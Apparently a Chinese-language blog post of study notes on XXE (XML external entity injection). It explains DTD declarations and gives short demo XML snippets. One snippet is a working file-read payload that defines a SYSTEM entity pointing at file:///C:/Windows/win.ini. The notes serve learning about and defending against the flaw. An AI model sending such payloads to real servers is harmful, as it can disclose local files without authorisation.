zoukankan      html  css  js  c++  java
  • XXE漏洞笔记

    一、什么是XXE漏洞

    XXE漏洞全称为XML External Entity,也就是xml外部实体注入,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
    也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。可造成文件读取、命令执行、内网端口扫描等等危害

    二、什么是xml,DTD

    DTD全称是The document type definition,即是文档类型定义,
    可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    三、引用方法

        DTD 内部声明
        <!DOCTYPE 根元素 [元素声明]>
    
        DTD 外部引用(可以读取本地文件)
        <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
    
        引用公共DTD(可以调用远程文件)
        <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
    

    几个小dome

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (one,two,three)>
    	<!ELEMENT one (#PCDATA)>
    	<!ELEMENT two (#PCDATA)>
    	<!ELEMENT three (#PCDATA)>
    ]>
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    调用内部声明

    <?xml version="1.0"?>
    <!DOCTYPE test[
    	<!ELEMENT test (flag)>
    	<!ENTITY hack "hack hack hack">
    ]>
    <test>
    	<flag>&hack;</flag>
    </test>
    

    调用本地xml文件

    <?xml version="1.0"?>
    <!DOCTYPE test SYSTEM "test.dtd">
    <test>
    	<one>one</one>
    	<two>two</two>
    	<three>three</three>
    </test>
    

    读取本地文件

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
    ]>
    <test>
    <flag>&hacker;</flag>
    </test>
    

    另一种调用方法

    <?xml version="1.0"?>
    <!DOCTYPE test[
    <!ELEMENT test (flag)>
    <!ENTITY % one "<!ENTITY two '66666'>">
    %one;
    ]>
    <test>
    <flag>&two;</flag>
    </test>
    
  • 相关阅读:
    推荐系统-01-简单逻辑回归
    顶部BANNER
    大数据-12-Spark+Kafka构建实时分析Dashboard
    大数据-10-Spark入门之支持向量机SVM分类器
    大数据-11-案例演习-淘宝双11数据分析与预测
    大数据-09-Intellij idea 开发java程序操作HDFS
    大数据-08-Sqoop入门
    大数据-07-Spark之流数据
    准确度,精确度, 召回率
    [转]springcloud(九):配置中心和消息总线(配置中心终结版)
  • 原文地址:https://www.cnblogs.com/BuFFERer/p/12534194.html
Copyright © 2011-2022 走看看